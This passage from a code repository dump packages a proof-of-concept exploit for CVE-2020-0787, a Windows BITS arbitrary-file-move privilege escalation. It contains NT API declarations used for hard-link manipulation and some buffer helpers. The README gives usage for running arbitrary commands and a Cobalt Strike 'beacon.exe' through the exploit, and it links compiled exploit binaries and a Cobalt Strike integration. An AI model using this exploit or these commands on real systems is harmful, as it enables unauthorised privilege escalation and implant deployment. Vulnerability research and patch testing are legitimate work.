LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 22 | typedef NTSTATUS(NTAPI* _NtQuerySymbolicLinkObject)(HANDLE LinkHandle, PUNICODE_STRING LinkTarget, PULONG ReturnedLength); 23 | typedef NTSTATUS(NTAPI* _NtOpenFile)( 24 | _Out_ PHANDLE FileHandle, 25 | _In_ ACCESS_MASK DesiredAccess, 26 | _In_ POBJECT_ATTRIBUTES ObjectAttributes, 27 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 28 | _In_ ULONG ShareAccess, 29 | _In_ ULONG OpenOptions 30 | ); 31 | 32 | const ULONG FileLinkInformation = 11; 33 | 34 | typedef struct _FILE_LINK_INFORMATION { 35 | BOOLEAN ReplaceIfExists; 36 | HANDLE RootDirectory; 37 | ULONG FileNameLength; 38 | WCHAR FileName[1]; 39 | } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; 40 | 41 | typedef NTSTATUS(__stdcall *_ZwSetInformationFile)( 42 | _In_ HANDLE FileHandle, 43 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 44 | _In_ PVOID FileInformation, 45 | _In_ ULONG Length, 46 | _In_ ULONG FileInformationClass 47 | ); 48 | typedef ULONG(NTAPI* _RtlNtStatusToDosError)(NTSTATUS status); 49 | void SetNtLastError(NTSTATUS status); 50 | 51 | #define DEFINE_NTDLL(x) _ ## x f ## x = (_ ## x)GetProcAddressNT(#x) 52 | -------------------------------------------------------------------------------- /CommonUtils/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // CommonUtils.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /CommonUtils/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | #include 10 | 11 | FARPROC GetProcAddressNT(LPCSTR lpName); -------------------------------------------------------------------------------- /CommonUtils/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /CommonUtils/typed_buffer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | template 7 | class typed_buffer_ptr { 8 | std::unique_ptr buffer_; 9 | size_t size_; 10 | 11 | public: 12 | typed_buffer_ptr() { 13 | } 14 | 15 | explicit typed_buffer_ptr(size_t size) { 16 | reset(size); 17 | } 18 | 19 | void reset(size_t size) { 20 | buffer_.reset(new char[size]); 21 | memset(buffer_.get(), 0, size); 22 | size_ = size; 23 | } 24 | 25 | void resize(size_t size) { 26 | std::unique_ptr tmp(new char[size]); 27 | 28 | memcpy(tmp.get(), buffer_.get(), min(size, size_)); 29 | 30 | buffer_ = std::move(tmp); 31 | } 32 | 33 | operator T*() { 34 | return reinterpret_cast(buffer_.get()); 35 | } 36 | 37 | operator const T*() const { 38 | return cget(); 39 | } 40 | 41 | T* operator->() const { 42 | return reinterpret_cast(buffer_.get()); 43 | } 44 | 45 | const T* cget() const { 46 | return interpret_cast(buffer_.get()); 47 | } 48 | 49 | typed_buffer_ptr(const typed_buffer_ptr& other) = delete; 50 | typed_buffer_ptr& typed_buffer_ptr::operator=(const typed_buffer_ptr& other) = delete; 51 | 52 | typed_buffer_ptr(typed_buffer_ptr&& other) { 53 | buffer_ = std::move(other.buffer_); 54 | size_ = other.size_; 55 | other.size_ = 0; 56 | } 57 | 58 | typed_buffer_ptr& operator=(typed_buffer_ptr&& other) { 59 | if (this != &other) 60 | { 61 | buffer_ = std::move(other.buffer_); 62 | size_ = other.size_; 63 | other.size_ = 0; 64 | } 65 | } 66 | 67 | size_t size() const { 68 | return size_; 69 | } 70 | }; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | ## CVE-2020-0787(named pipe) 3 | It's Just A Demo,Do not use in real. 4 | 5 | -Get result for Command execution(Use cmd /c): 6 | `exp.exe "cmd /c whoami > \\\\.\\pipe\\showme " show` 7 | 8 | -Run beacon.exe: 9 | `exp.exe "C:/beacon.exe"` 10 | 11 | ![](https://cdn.jsdelivr.net/gh/yanghaoi/CVE-2020-0787@latest/index.gif) 12 | 13 | ## For CobaltStrike 14 | It's better one than current project: 15 | https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787_CNA 16 | 17 | ## Reference 18 | Source from: https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION 19 | 20 | -------------------------------------------------------------------------------- /Release/BitsArbitraryFileMoveExploit.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/Release/BitsArbitraryFileMoveExploit.exe -------------------------------------------------------------------------------- /index.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/index.gif -------------------------------------------------------------------------------- /x64/Release/BitsArbitraryFileMoveExploit.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yanghaoi/CVE-2020-0787/d36ae6787b3ed136e1b756e6cf475481077f0cd7/x64/Release/BitsArbitraryFileMoveExploit.exe --------------------------------------------------------------------------------